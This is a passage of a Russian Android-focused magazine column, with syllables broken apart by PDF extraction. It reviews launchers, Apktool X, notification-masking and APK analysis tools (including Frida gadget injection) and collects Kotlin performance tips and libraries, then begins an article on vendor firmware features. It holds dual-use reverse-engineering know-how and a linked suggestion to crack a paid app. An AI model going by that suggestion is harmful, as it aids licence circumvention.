да  ты  узна ешь,  как  бороть ся  с  утеч ками  памяти,  писать  эффектив ный  код

на Kotlin, как защитить свое при ложе ние от чужих глаз и зап ретить его запуск

в вир туаль ных окру жени ях. И конеч но же, набор пер воклас сных биб лиотек.

СОФТ
T-UI — лаун чер в сти ле коман дной стро ки Linux
Ка залось бы, необыч ным лаун чером сегод ня уже никого не уди вишь. Google

Play бит ком набит реали заци ями рабочих сто лов во всех мыс лимых и немыс‐ 

лимых сти лях. Здесь мож но най ти лаун чер, мимик риру ющий под iOS, Windows

Phone  7,  8  и  10,  про шив ки  от  раз личных  про изво дите лей  и  мно жес тво  кон‐ 

цепту аль ных лаун черов вро де Aviate. Но есть и неч то дей стви тель но осо бен‐ 

ное.

  —  это  лаун чер  в  сти ле  коман дной  стро ки  Linux.  При чем

не прос то «в сти ле», это и есть коман дная стро ка, поз воля ющая переме щать‐ 

ся по катало гам, редак тировать фай лы, запус кать при ложе ния и делать мно‐ 

жес тво  дру гих  вещей  с  помощью  команд,  которые  при дет ся  вби вать  с  кла‐ 

виату ры.

T‐UI  Launcher

Во вре мя пер вого запус ка тебе покажут нес коль ко при меров

Для запус ка при ложе ния дос таточ но начать набирать его имя, и T‐UI под ска‐ 

жет  тебе  воз можные  вари анты.  Любое  при ложе ние  мож но  уда лить

с помощью коман ды  , так же мож но прос мотреть

спи сок уста нов ленных при ложе ний с помощью коман ды  .

uninstall имя_приложения
apps

Уп равлять  вос про изве дени ем  музыки  так же  мож но  из  самого  лаун чера.

Коман да   покажет име ющиеся ком позиции,   — вклю чит нуж ную

ком позицию, управле ние плей‐лис том:   и  .

tracks track
previous next

У  T‐UI  есть  нас трой ки.  И  конеч но  же,  они  хра нят ся  в  кон фигура цион ном

фай ле, который при дет ся пра вить руками. Коман да   откро ет этот

файл во встро енном редак торе tuixt. Вый ти из него, кста ти, не нам ного про‐ 

ще, чем из Vim, так что все канонич но (спой лер: надо наб рать коман ду  ).

tuisettings

exit

Спи сок ком позиций и файл нас тро ек

Зво нить  и  отправ лять  SMS  так же  мож но,  не  покидая  T‐UI,  для  это го  есть

коман ды    и  .  Спи сок  кон тактов  мож но  пос мотреть,  запус тив  любую

из них без аргу мен тов. Если же тебя самого уже дос тали звон ками, то мож но

вклю чить режим полета:  .  Коман ды    и    вклю чают/отклю‐ 

чают Wi‐Fi и переда чу дан ных по мобиль ной сети.

call sms

airplaine wifi data

T‐UI — шуточ ное при ложе ние. Но,  как ни стран но, оно может быть очень

удоб ным. Бла года ря авто допол нению для  запус ка нуж ной фун кции или при‐ 

ложе ния  дос таточ но  вбить  все го  один‐два  сим вола.  Это  гораз до  быс трее,

чем рыть ся в меню при ложе ний или запус кать телефон, тапать по окну поис ка

и вби вать имя кон такта.

Кро ме  того,  для  более  быс тро го  запус ка  на  любую  коман ду  мож но

повесить  alias.  Плюс  здесь  есть  коман да  ,  которая  поз воля ет  искать

в Google, Play Store, YouTube и на кар те памяти.

search

Apktool X — ана лиз и модифи кация при ложе ний пря мо на смар -
тфо не
Ути лита  Apktool  хорошо  извес тна  всем,  кто  ког да‐либо  модифи циро вал,

перево дил или прос то изу чал при ложе ния для Android. С ее помощью пакет

APK  мож но  разоб рать  на  сос тавные  час ти,  деком пилиро вать  байт‐код,

деком прес сировать  XML‐фай лы,  а  пос ле  вне сения  изме нений  соб рать  APK

обратно.  Офи циаль ная  вер сия  этой  ути литы  для  Android  уже  дол гое  вре мя

заб рошена, но недав но появил ся новый порт.

 — это вер сия Apktool для Android, сде лан ная раз работ чиком An‐

dro Black. Она прек расно работа ет на пос ледних вер сиях Android и спо соб на

рас паковы вать при ложе ния, соб ранные с помощью самой све жей вер сии An‐

droid Studio.

Apktool X

Поль зовать ся  Apktool  X  очень  прос то.  Сра зу  пос ле  запус ка  ты  уви дишь

на экра не фай ловый менед жер. Тап по пакету APK откро ет диало говое окно,

с  помощью  которо го  мож но  выб рать,  что  кон крет но  ты  хочешь  извлечь

из пакета. Вари антов мас са: деком пиляция кода при ложе ния (Decompile dex),

деком пиляция ресур сов, вклю чая стро ки для перево да  (Decompile  res), под‐ 

пись  при ложе ния  (Sign,  необ ходима  пос ле  сбор ки  при ложе ния),  а  так же

инстал ляция, уда ление и нес коль ко дру гих вари антов.

Вы бира ем пакет для раз борки

Что бы  разоб рать  все  при ложе ние  целиком,  выбирай  Decompile  all.  Через

нес коль ко секунд (или минут, в зависи мос ти от раз мера при ложе ния) в той же

пап ке появит ся пап ка с име нем имя_при ложе ния_src. Она содер жит все, что

Apktool сумел извлечь. Сам Apktool X не име ет средств для ана лиза и прос‐ 

мотра этих фай лов, так что при попыт ке их открыть он поп росит выб рать тек‐ 

сто вый редак тор или прос мот рщик при ложе ний (для фай лов ресур сов).

Рас пакован ное при ложе ние и содер жимое фай ла

AndroidManifest.xml

Что делать со все ми эти ми фай лами? Да что угод но. Нап ример,  ты можешь

.  Ну  или  изме нить  его

интерфейс и перевес ти на рус ский язык.

взло мать  при ложе ние,  сде лав  его  бес плат ным

В  любом  слу чае  пос ле  всех  опе раций  при ложе ние  необ ходимо  запако‐ 

вать. Для это го дол го удер живай палец на пап ке с рас пакован ным при ложе‐ 

нием,  а  затем  выбери  пункт  Recompile.  И  не  забудь  под писать  получен ный

APK с помощью опции Sign.

Custom Navigation Bar — кас томизи руем наэк ранные кноп ки
навига ции без root
Од на  из  полез ных  фун кций  Android  O  —  воз можность  нас тро ить  экранные

кноп ки  навига ции.  Их  мож но  менять  мес тами,  сдви гать  в  раз ные  сто роны

и  делать  дру гие  инте рес ные  вещи.  Одна ко,  как  выяс нилось,  скры тый

механизм,  пре дос тавля ющий  такие  воз можнос ти,  есть  даже  в  Android  7.

Не  хва тает  толь ко  гра фичес кого  интерфей са,  который  поз волил  бы  им

управлять. При ложе ние Custom Navigation Bar устра няет этот недос таток.

 —  край не  прос тая,  но  полез ная  прог рамма.  С  ее

помощью  экранные  кноп ки  мож но  рас положить  по  сво ему  вку су,  нап ример

сдви нуть  вле во  или  впра во  для  управле ния  одной  рукой,  сдви нуть  в  центр,

поменять кноп ки «Назад» и «Обзор» мес тами.

Custom Navigation  Bar

Глав ный экран и меню быс трой нас трой ки кно пок

Ин терес ная  фун кция  —  воз можность  добавить  допол нитель ные  кноп ки

с левой и с пра вой сто роны экра на. Это могут быть кноп ки навига ции по тек‐ 

сту, кноп ка дос тупа к буферу обме на, кноп ка для выд вижения панели уве дом‐ 

лений, икон ка при ложе ния,  управле ние гром костью или любая кла виша кла‐ 

виату ры  (нап ример,  Tab,  которая  поз воля ет  переме щать ся  по  гра фичес ким

эле мен там запущен ного в дан ный момент при ложе ния).

Нас тра иваем допол нитель ные кноп ки

При ложе ние  под держи вает  навига цию  с  Tasker.  Ты  можешь  соз дать  сра зу

нес коль ко раз личных нас тро ек кла виш (про филей) и перек лючать их динами‐ 

чес ки в зависи мос ти от того или ино го усло вия. Нап ример, нас тро ить показ

кно пок перек лючения музыкаль ных тре ков толь ко тог да, ког да вклю чен пле ер.

Или, нап ример, вклю чить кноп ку буфера обме на, толь ко если в самом буфере

обме на что‐то есть.

Вся  эта фун кци ональ ность  дос тупна бес плат но. Одна ко  если  тебе  нуж на

под дер жка  тем  (нап ример,  воз можность  сде лать  кноп ки  навига ции  как  в

Google Pixel), то при дет ся зап латить 130 руб лей.

Notification Guard — пря чем содер жимое уве дом лений от пос -
торон них
Уве дом ления  —  это  одна  из  удоб ней ших  фун кций  смар тфо на.  Но  они  же

несут  опас ность  рас кры тия  лич ных  дан ных. Да, мож но  отклю чить  показ  уве‐ 

дом лений на экра не бло киров ки или скрыть лич ную информа цию, но как быть

с  защитой  от  тех,  кто  может  сто ять  у  тебя  за  спи ной,  пока  ты  исполь зуешь

смар тфон? В этом слу чае поможет Notification Guard.

 — это при ложе ние для мас киров ки любых уве дом лений.

Неваж но,  при над лежит  уве дом ление  мес сен дже ру,  поч товому  кли енту

или это уве дом ление о пос трой ке зда ния в игре, — Notification Guard сде лает

так, что бы в нем не отоб ражалась никакая информа ция, или замас киру ет его

под уве дом ление от безобид ного при ложе ния.

Notification Guard

Все го дос тупно три вида мас киров ки: замена тек ста уве дом ления на текст

You’ve  got  a  new message,  замена  не  толь ко  тек ста,  но  и  икон ки  на  икон ку

фей сбу ка, замена икон ки на икон ку SMS. Все эти пра вила мож но по отдель‐ 

нос ти  при менять  к  любым  уве дом лени ям  либо  нас тро ить  авто мати чес кое

скры тие уве дом лений, содер жащих опре делен ный текст (нет, имя любов ницы

туда луч ше не впи сывать).

Ин туитив но понят ный интерфейс

В том слу чае, если ты вооб ще не хочешь получать уве дом ления, есть режим

Do  Not  Disturb.  В  этом  слу чае  все  уве дом ления  отпра вят ся  в  спе циаль ный

ящик, который ты смо жешь прос мотреть тог да, ког да у тебя появит ся для это‐ 

го вре мя.

Ти пы мас киров ки уве дом лений и сами уве дом ления

Дис клей мер для парано иков. Прин цип работы Notification Guard — скры вать

ори гиналь ное  уве дом ление  и  показы вать  вмес то  него  дру гое. Для  это го  он

исполь зует офи циаль ный API Android, дающий дос туп к содер жимому уве дом‐ 

ления. Естес твен но, если раз работ чик будет недос таточ но доб росовес тным,

он смо жет слить эту информа цию на третью сто рону.

Впро чем, сто рон ний поч товый кли ент или фай ловый менед жер с дос тупом

к Dropbox смо гут слить нам ного боль ше тво ей инфы.

mailto:zobnin@glc.ru
https://play.google.com/store/apps/details?id=ohi.andre.consolelauncher
https://www.androidfilehost.com/?w=files&flid=149532
https://xakep.ru/2016/09/13/hack-android-1/
https://play.google.com/store/apps/details?id=xyz.paphonb.systemuituner
https://play.google.com/store/apps/details?id=com.leo.notifymaster


CОФТ ДЛЯ ПОТРОШЕНИЯ APK,
ГАЙД ПО СКРЫТЫМ ПРОБЛЕМАМ

KOTLIN, НОВЫЕ ИССЛЕДОВАНИЯ И
ПОЛЕЗНЫЕ БИБЛИОТЕКИ

X‐MOBILE  НАЧАЛО СТАТЬИ←

ИНСТРУМЕНТЫ ДЛЯ АНАЛИЗА БЕЗОПАСНОСТИ

 — скрипт для упро щения дей ствий, свя зан ных с ана лизом при‐ 
ложе ний,  поз воля ет  уста новить  фла ги  отладки  и  бэкапа  при ложе ния,
пересоб рать и под писать при ложе ние,  выдер нуть с  устрой ства при ложе‐ 
ние, уста нов ленное с помощью Google Play, ско пиро вать на комп при ват‐ 
ный каталог при ложе ния, внед рить гад жет Frida в APK.

• LazyDroid

 — биб лиоте ка для дам па информа ции о при ложе нии в файл JSON.
Поз воля ет  извлечь  информа цию  из  манифес та,  информа цию  о  сер‐ 
тифика тах, фай лах DEX и клас сах.

• ApkFile

Внед рение гад жета Frida с помощью LazyDroid

ПОСМОТРЕТЬ

Бе зопас ность WebView

 — рас сказ раз работ чиков Android о свя зан ных
с  безопас ностью  нов шес твах  ком понен та  WebView  (поз воля ет  откры вать
веб‐сай ты внут ри сто рон них при ложе ний) в Android O.

What’s new in WebView security

Пер вое: WebView  теперь  работа ет  в  сво ем  собс твен ном  изо лиро ван ном
про цес се (песоч нице) и не может при вес ти к падению или взло му хост‐при‐ 
ложе ния. Более того, этот про цесс не может писать дан ные в память устрой‐ 
ства  или  самос тоятель но  заг ружать  веб‐стра ницы.  К  WebView  при меня ется
такой же seccomp‐филь тр, как к про цес сам бра узе ра Chrome. Филь тр не поз‐ 
воля ет про цес су выпол нить опас ные сис темные вызовы в слу чае, если он был
взло ман.

Вто рое: WebView теперь вклю чает в себя тех нологию Google Safe Brows‐
ing, пре дуп режда ющую поль зовате ля о потен циаль но небезо пас ных сай тах.

WebView теперь работа ет в отдель ном про цес се

Кол лекция security-багов для Android

 — репози торий,  содер жащий информа‐ 
цию  об  уяз вимос тях,  которые  могут  появить ся  в  при ложе ниях  для  Android
в  резуль тате  ошиб ки  прог раммис та,  а  так же  исходни ки  при ложе ний‐при‐ 
меров и экс пло итов.

android‐app‐vulnerability‐benchmarks

Сре ди  при меров  мож но  най ти  как  самые  глу пые  баги,  такие  как,  нап‐ 
ример,  хра нение  важ ной  информа ции  на  кар те  памяти  и  откры тые  для  сто‐ 
рон него дос тупа ContentProvider’ы (при вет, mail.ru), так и более слож ные, нап‐ 
ример  уяз вимос ти,  которые  при водят  к  воз можнос ти  под мены  активнос ти
(Activity hijack) и сер виса (Service hijack).

СТАТЬИ

Боль шой гайд по Kotlin

 — как фун кци ональ ность Kotlin и пред‐ 
лага емый им син такси чес кий сахар вли яют на про изво дитель ность при ложе‐ 
ния.  В  пер вой  час ти  автор  раз бира ет  байт‐код,  генери руемый  при  исполь‐ 
зовании лямбд и объ ектов‐ком пань онов (companion object).

Exploring Kotlin’s hidden costs  —  Part 1

Вы воды сле дующие. Пер вый: всег да объ являй фун кции выс шего поряд ка
с помощью клю чево го сло ва inline. В этом слу чае код фун кции будет вклю чен
в  код  вызыва ющей  фун кции  и  ты  избе жишь  соз дания  допол нитель ных  объ‐ 
ектов и методов. С дру гой сто роны,  inline‐фун кция не смо жет вызывать дру‐ 
гую  inline‐фун кцию, а при их час том при мене нии раз мер кода может силь но
воз расти.

Вто рой: по воз можнос ти объ являй поля companion object, исполь зуя клю‐ 
чевое сло во const, так ты избе жишь соз дания допол нитель ных гет теров. Так‐ 
же  мож но  исполь зовать  анно тацию  @JvmField,  которая  зас тавит  Kotlin
не генери ровать гет теры и сет теры для ука зан ного поля.

 —  вто рая  часть  статьи  о  скры тых
нацен ках Kotlin пос вящена фун кци ям, объ явленным внут ри фун кций, null safety
и фун кци ям с перемен ным чис лом аргу мен тов. Выводы:

Exploring  Kotlin’s  hidden  costs   —   Part  2

1. Из бегай обра щений вло жен ных фун кций к перемен ным внеш ней фун кции.
2. Что бы  избе жать  допол нитель ного  овер хеда  в  релиз ных  сбор ках,  добавь
в пра вила ProGuard ( ) сле дующие стро ки:proguard‐rules.pro

‐assumenosideeffects class kotlin.jvm.internal.Intrinsics {

    static void checkParameterIsNotNull(java.lang.Object, java.

lang.String);

}

Они зас тавят ProGuard уда лить про вер ки на null, в которых нет необ ходимос‐ 
ти в релиз ных сбор ках.
1. Не делай перемен ные при митив ного типа (int, float) nullable, это зас тавля ет
ком пилятор  исполь зовать  вмес то  них  клас сы  Integer  и  Float,  из‐за  чего
овер хед воз растет. По этой же при чине объ являй мас сивы чисел как IntAr‐
ray вмес то Array.

2. Не  вызывай  фун кции  с  перемен ным  чис лом  аргу мен тов,  переда вая  им
мас сив. Это при ведет к копиро ванию мас сива.

 — третья часть пос вящена делега там
и диапа зонам. Выводы:
Exploring Kotlin’s hidden costs  —  Part 3

1. Ис поль зуй делега ты  в фор ме синг лто нов  (object)  там,  где  это  воз можно,
что бы избе жать соз дания новых объ ектов.

2. Ес ли ты ини циали зиру ешь с помощью делега та  lazy перемен ную, которая
будет  находить ся  толь ко  в  одном  потоке,  луч ше  при менить  lazy(Lazy‐
ThreadSafetyMode.NONE), что бы избе жать бло киро вок.

3. По пытай ся  не  объ являть  диапа зоны  при митив ных  типов  заранее  (нап‐ 
ример,  ), это при водит к соз данию допол‐ 
нитель ного объ екта InRange.

val myRange get() = 1..10

4. Ес ли  ты  час то  исполь зуешь  срав нение  с  диапа зоном  неп римитив ных
типов, объ яви этот диапа зон заранее как кон стан ту, что бы избе жать пов‐ 
торно го соз дания объ ектов.

5. Не  исполь зуй  forEach  в  отно шении  диапа зона  ( ),
это при ведет к соз данию допол нитель ного iterable‐объ екта.

(1..10).forEach

Утеч ки памяти в Android-при ложе ниях

 —  статья
о  борь бе  с  утеч ками  памяти  в  Android‐при ложе ниях.  Автор  рас ска зыва ет
о при чинах появ ления уте чек, спо собах их поис ка и рас смат рива ет наибо лее
типич ные при меры уте чек.

Everything  You  Need  To  Know  About Memory  Leaks  In  Android  Apps

Ос новные тезисы:
Ис поль зуй  инс тру мен ты    из  Android  Studio  и  биб лиоте ку

 для отло ва уте чек.
• Allocation  Tracker
LeakCanary
Всег да отклю чай лис тенеры при завер шении активнос ти. Нап ример, оста‐ 
нав ливай про цесс сбо ра информа ции о мес тополо жении (для это го дос‐ 
таточ но  все го  лишь  сде лать  неч то  вро де  mLocationManager.removeUp‐
dates(this) в методе onDestroy).

•

Будь осто рож нее с вло жен ными клас сами. Они хра нят ссыл ку на внеш ний
класс,  что  может  при вес ти  к  утеч ке  памяти,  ког да  вло жен ный  класс
еще про дол жает  какую‐то работу,  а наруж ный  уже не нужен, но он будет
сох ранять ся  в  памяти.  Решение  прос тое:  сде лать  вло жен ный  класс  ста‐ 
тичес ким.

•

Из бегай  исполь зования  ано ним ных  клас сов  для  выпол нения  дли тель ных
опе раций. Они пред став ляют собой те же вло жен ные клас сы, поэто му их
луч ше заменить ста тичес кими вло жен ными клас сами.

•

Об ращай ся с бит мапами  .• пра виль но
  раз ницу  меж ду  раз личны ми  видами  кон тек ста  (класс  Context)

и исполь зуй толь ко те, что под ходят в дан ной ситу ации.
• Изу чи

Ис поль зование корутин в Kotlin

 — о том, как работать с соп рограм‐ 
мами в Kotlin. Соп рограм мы появи лись в Kotlin 1.1 и пред став ляют собой неч‐ 
то вро де лег ковес ных потоков,  которые в  том чис ле поз воля ют реали зовать
кон цепцию  async/await.  Исполь зуя  соп рограм мы,  мож но  пос ледова тель но
вызывать асин хрон ные фун кции друг за дру гом без пог ружения в пучину call‐
back hell.

A first walk into Kotlin coroutines on Android

Соз дание Guillotine Menu в Android

 —  рас сказ  о  том,  как  сде лать  боковое
меню  с  эффектом  гиль оти ны,  ког да  меню  не  выд вига ется  спра ва,  а  пада ет
свер ху  под  углом.  Статья  с  укло ном  в  матема тику,  но  ее  не  обя затель но
понимать, дос таточ но ско пиро вать готовый код.

Guillotine Menu  Animation  on  Android

Как исполь зовать push-уве дом ления с Firebase

 — прос тая и понят ная
статья, как добавить в при ложе ние под дер жку push‐уве дом лений с помощью
Firebase. Рас счи тана на нович ков, поэто му никаких откро вений,  тебе прос то
рас ска жут, как это сде лать.

How to add Push Notification capability to your Android app

Вве дение в раз работ ку для Android Things

  —  вве дение  в  раз работ ку  для  Android  Things
на  при мере  прос того  при ложе ния  для  Raspberry  Pi  3,  которое  уме ет  пос‐ 
ледова тель но зажигать лам почки в ответ на нажатие кноп ки.

Android  Things  for  beginners

Ин терес но, что раз работ ка для Android Things поч ти ничем не отли чает ся
от раз работ ки для обыч ного Android. Та же Android Studio, та же Java, тот же
ADB,  тот  же  API  и  при ложе ния  в  активнос тях.  Устрой ство  на  базе  Android
Things  зачас тую  не  име ет  экра на,  но  при ложе ния  для  них  все  рав но  име ют
активнос ти. Толь ко вмес то кно почек и окон вво да здесь шина GPIO, а вмес то
смар тфо на — под клю чен ная по USB желез ка.

Схе ма опи сан ного в статье про екта

Ра бота с nullable-типом в Kotlin: исполь зование элвис‑опе рато ра
и getOrDefault

 —  статья  о  том,  как  выходить
из ситу ации, ког да ты зна ешь, что зна чение перемен ной не может быть null,
но  ком пилятор это го не зна ет. Автор объ ясня ет воз можные  тех ники на при‐ 
мере типа дан ных map, который всег да воз вра щает nullable‐тип без оглядки
на то, на самом ли деле зна чение nullable.

Convincing  the  Kotlin  compiler  that  code  is  safe

Луч шие спо собы побороть эту проб лему:
эл вис‐опе ратор:  ;• map[key] = (map[key] ?: 0) + 1

ме тод getOrDefault:  ;• map.getOrDefault(key, 0) + 1

Как раз мещать кон стан ты в Kotlin с точ ки зре ния эффектив ности

исполне ния кода

 — где и как луч ше раз мещать кон‐ 
стан ты в Kotlin с точ ки зре ния эффектив ности исполне ния кода. Ответ прос‐ 
той — помес тить кон стан ту вне клас сов и объ ектов:

Where Should I Keep My Constants in Kotlin?

const val FOO = "foo"

Ком пилятор  Kotlin  прев ратит  его  в  такой  код  на  Java,  и  это  наибо лее
эффектив ная фор ма:

public final class ConstantsKt {  

   @NotNull

   public static final String FOO = "foo";

}

Пи шем при ложе ние из сери ала «Силико новая долина» на Kotlin

 — статья с рас‐ 
ска зом о том, как с нуля соз дать ана лог при ложе ния «Не хот‐дог» из сери ала
«Силико новая долина» на Kotlin.

Not Kotdog: Using Computer Vision to Detect Hot Dogs in Kotlin

Секь юрная работа с полями вво да при ложе ний, исполь зующих

API Autofill

 — как защитить поля вво да при ложе ния
от  при ложе ний,  исполь зующих  API  Autofill  в  Android  8.0.  Спой лер:  для  бло‐ 
киров ки дос тупа ко все му Activity сле дует исполь зовать такой код:

Securing Apps From Android 8.0 Autofill

getWindow()

   .getDecorView()

   .setImportantForAutofill(View.IMPORTANT_FOR_AUTOFILL_NO_EXCLUDE

_DESCENDANTS);

БИБЛИОТЕКИ ДЛЯ ANDROID-РАЗРАБОТЧИКА

 — кноп ка, акти виру емая свай пом, в сти ле слай дера на экра‐ 
не бло киров ки iOS.

• Swipe‐Button

  —  эффектив ный  и  про изво дитель ный  dependency  injection
фрей мворк для Kotlin.

• koin‐android

  —  биб лиоте ка  для  работы  с  Chrome  Custom  Tabs
с  механиз мом  перек лючения  на  стан дар тный  WebView,  если  Chrome
не уста нов лен на смар тфо не.

• Android  CustomTabs

  —  биб лиоте ка,  поз воля ющая  выяс нить,  находит ся
при ложе ние в фоне или отоб ража ется на экра не.

• Notifikation  Manager

  —  боковое  меню  с  кра сивым  эффектом  выд‐ 
вижения.

• Duo  Navigation  Drawer

  —  биб лиоте ка  для  соз дания  интерфей са  кар точек
в сти ле меню запущен ных при ложе ний Android.

• Android‐InfiniteCards

  —  еди ная  биб лиоте ка  для  быс тро го  и  удоб ного  дос тупа
к  боль шому  количес тву  раз личных  дан ных  о  поль зовате ле  и  смар тфо не:
кон тактам, мес тополо жению, SMS, фотог рафи ям, мик рофону и так далее.

• PrivacyStreams

 — биб лиоте ка для защиты при ложе ния от запус ка в раз личных вир‐ 
туали зиро ван ных окру жени ях, таких как Parallel Space.

• AntiVM

ПОЛЕЗНЫЕ ИНСТРУМЕНТЫ

 —  прос тое  веб‐при ложе ние  для  оцен ки,  как  будет  выг‐ 
лядеть адап тивная икон ка для Android O в раз ных сти лях.

• adapticon.tooo.io

  —  веб‐при ложе ние  для  быс тро го  соз дания  ани миро‐ 
ван ных ико нок в фор мате AnimatedVectorDrawable.

• shapeshifter.design

На этом все.
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ДОБАВЛЯЕМ ФИРМЕННЫЕ ФУНКЦИИ
ПРОШИВОК SAMSUNG, HTC И SONY

В СТОКОВЫЙ ANDROID

Денис Погребной

X‐MOBILE

Про изво дите ли  смар тфо нов  из  кожи  вон  лезут,  что бы
выделить свою чер ную коробоч ку с экра ном сре ди сотен ей
подоб ных.  В  ход  идет  все,  от  изог нутых  и  двой ных  экра нов
до  глу боких  соф твер ных  модифи каций.  Пос ледние  чаще
все го при носят толь ко проб лемы про изво дитель нос ти и сов‐ 
мести мос ти,  но  быва ет,  что  прог раммис там  уда ется  при‐ 
думать  что‐то  дей стви тель но  инте рес ное  и  полез ное.  Вот
толь ко экс клю зивом такая фун кция обыч но оста ется недол‐ 
го — вско ре появ ляет ся ана лог.

ALWAYS ON DISPLAY

Эта фун кция час то дос тупна во мно гих смар тфо нах с дис пле ем AMOLED. Ее
смысл  в  том,  что бы  вмес то  пол ного  вык лючения  экра на  оставлять  на  нем
неболь шой  блок  полез ной  информа ции:  вре мя,  погоду,  уве дом ления  —
у кого что.

Ту  же  фун кцию  мож но  получить  с  помощью  при ложе ния 
.  В  нем  есть  все,  что  нам  пред лага ют  в  сто ковых  про шив ках,

и даже боль ше: интегра ция c Greenify, работа при вклю чен ном режиме Doze,
пра вила отоб ражения (толь ко во вре мя заряд ки, при опре делен ной емкости
акку муля тора  и/или  в  течение  задан ного  интерва ла),  бло киров ка  кно пок
от нажатия и про чие инте рес ные вещи.

Always
on  AMOLED

При чем  сов сем  необя затель но  дер жать  экран  пос тоян но  вклю чен ным.
Мож но акти виро вать его, толь ко если ты про вел рукой перед дат чиком приб‐ 
лижения или извлек смар тфон из кар мана. Пря мо как в Galaxy S4. Нас трой ке
под дает ся  так же  и  сам  дис плей  при  работе  прог раммы:  мож но  двой ным
тапом вклю чать дис плей или же зас тавить его никак не реаги ровать на при‐ 
кос новения и нажатия кно пок.

В  целом  при ложе ние  очень  дос той ное,  но  с  одним  огромным  недос‐ 
татком:  оно  не  поз воля ет  смар тфо ну  спать,  из‐за  чего  уро вень  заряда
батареи будет падать пря мо на гла зах.

Always On Display (Samsung) и Always on AMOLED

ВКЛЮЧЕНИЕ ДВОЙНЫМ ТАПОМ ПО ЭКРАНУ

Так же очень рас простра нен ная фун кция. Мно гие смар тфо ны  (в пер вую оче‐ 
редь LG и OnePlus) поз воля ют вклю чать экран двой ным тапом и даже запус‐ 
кать те или иные при ложе ния, рисуя на экра не сим волы (в то вре мя, пока дис‐ 
плей вык лючен).

Ана лог называ ется  . С ним все понят но: тап нул два раза по экра‐ 
ну — дис плей вклю чил ся. Но есть проб лема: в отли чие от ана логич ной фун‐ 
кции в фир менных про шив ках, которая отклю чает экран, но оставля ет работа‐ 
ющей сен сорную панель, KnockOn прос то залива ет дис плей чер ным цве том.
Если экран не AMOLED, он будет пос тоян но тра тить энер гию.

KnockOn

Дру гие  встре чен ные  в  мар кете  ана логи  ведут  себя  похожим  обра зом,
поэто му все они пред назна чены толь ко для смар тфо нов с AMOLED‐экра ном,
который не пот ребля ет энер гию, показы вая пол ностью чер ное изоб ражение.

Нас трой ки вклю чения двой ным тапом в OnePlus One и KnockOn

ACTIVE DISPLAY

В Motorola есть инте рес ная фун кция Active Display. Смар тфон самос тоятель‐ 
но,  на  осно ве  дат чиков обна ружи вает,  ког да  ты берешь его  в  руки,  а  затем
вклю чает дис плей с информа цией о сос тоянии устрой ства и уве дом лени ями.
Эта же информа ция появ ляет ся на экра не, ког да при ходят уве дом ления (ана‐ 
логич но Android 5 и выше).

По лучить такую фун кци ональ ность мож но с помощью  . Прин цип,
ани мация  раз бло киров ки  и  даже  экран  уве дом лений  пол ностью  копиру ют
моторо лов ские.  Толь ко  вот  вклю чать  дис плей,  ког да  ты  берешь  смар тфон
в руки, при ложе ние не уме ет.

acDisplay

При чина прос та. В Motorola отсле жива нием положе ния устрой ства в прос‐ 
транс тве  занима ется спе циаль ный энер гоэф фектив ный про цес сор,  который
всег да  вклю чен  и  прак тичес ки  не  рас ходу ет  заряд.  В  обыч ных  смар тфо нах
такого соп роцес сора нет, поэто му реали зация ана логич ной фун кци ональ нос‐ 
ти  пот ребова ла  бы  пос тоян но  опра шивать  дат чики  положе ния,  из‐за  чего
заряд акку муля тора рас ходовал ся бы за пол дня.

Active Display (Motorola) и acDisplay

СЛЕЖЕНИЕ ЗА ГЛАЗАМИ

Во  флаг ман ских  смар тфо нах  Samsung  и  некото рых  смар тфо нах  LG  и  Sony
есть  замеча тель ная  фун кция  про вер ки,  дей стви тель но  ли  ты  смот ришь
на  смар тфон.  С  помощью  фрон таль ной  камеры  смар тфон  ана лизи рует,
откры ты ли твои гла за, и не гасит экран, если это так.

Ана лог называ ется  . Нас трой ки выг лядят очень прос то: мож но
вклю чить  авто запуск  прог раммы  при  заг рузке,  выб рать  интервал  ска ниро‐ 
вания  (один раз — ска ниро вание перед  вык лючени ем экра на и два раза —
одно ска ниро вание за 1/2 вре мени вык лючения экра на и одно перед самим
вык лючени ем), выс тавить вре мя, в  течение которо го смар тфон будет искать
взгляд (2, 3, 5 с). Две пос ледние нас трой ки будут замет но вли ять на авто ном‐ 
ность работы смар тфо на.

SmartStay Ex

Ка чес тво  рас позна вания  силь но  зависит  от  осве щения,  углов  обзо ра
камеры и ее качес тва. Так, на Samsung Galaxy S7 и Gigaset Me при днев ном
све те  и  ком натном  осве щении  прог рамма  прек расно  рас позна вала  взгляд.
Одна ко в сумер ках смар тфон отклю чал дис плей вне зависи мос ти от взгля да
на него. С дру гой сто роны, фир менная фун кция «Смарт‐отклю чение» в Galaxy
S7 вела себя точ но таким же обра зом.

Сле дует отме тить,  что прог рамма кон флик тует с при ложе нием «Камера»,
так что либо то, либо дру гое.

Смарт‐отклю чение в Samsung и нас трой ки SmartStay Ex

ОДНОВРЕМЕННАЯ ЗАГРУЗКА ПО WI-FI И 4G

В некото рых смар тфо нах (в час тнос ти, Samsung) есть фун кция, которая поз‐ 
воля ет  одновре мен но  исполь зовать  сотовую  сеть  и  Wi‐Fi  для  закачи вания
и  ска чива ния  фай лов.  Таким  обра зом,  при  ско рос ти  Wi‐Fi  в  30  Мбит/с
и  сотовой  сети  в  25  Мбит/с  теоре тичес ки  файл  мож но  ска чать  на  ско рос‐ 
ти 55 Мбит/с.

На  самом  деле  воз можность  одновре мен но  исполь зовать  сотовые  сети
и Wi‐Fi  появи лась  в  Android  дос таточ но  дав но. Но  исполь зует ся  она  сов сем
для  дру гих  целей,  а  имен но  для  бес шовно го  перек лючения меж ду  раз ными
сетями без пре рыва ния вос про изве дения видео, аудио или ска чива ния фай‐ 
лов.

При ложе ние    обе щает  акти виро вать  ее  для  ска чива ния  фай лов
одновре мен но по двум сетям. Одна ко за эту фун кци ональ ность при дет ся пла‐ 
тить (еже месяч но), бес плат но дос тупен толь ко 1 Гбайт интерне та в месяц.

Speedify

Ус коритель сети Samsung и Speedify

ВСПЫШКА КАК ИНДИКАТОР

Про шив ка  Samsung  поз воля ет  перенас тро ить  смар тфон  так,  что бы  вмес то
све тоди одно го инди като ра он исполь зовал вспыш ку камеры. Это может быть
полез но, если сам све тоди од умер или его прос то нет в смар тфо не.

Что бы  реали зовать  такое  в  любой  про шив ке,  мож но  исполь зовать  при‐ 
ложе ние « ». Эта  прог рамма — нас тоящий  ком байн. Помимо
мигания вспыш кой и тон ко нас тра иваемо го све тоди одно го инди като ра (цвет,
час тота миганий, дли тель ность опо веще ния),  тут есть пов торение зву ково го
и виб раци онно го уве дом ления с опре делен ным интерва лом, тон кое управле‐ 
ние виб раци ей (корот кий или длин ный импульс, час тота и количес тво импуль‐ 
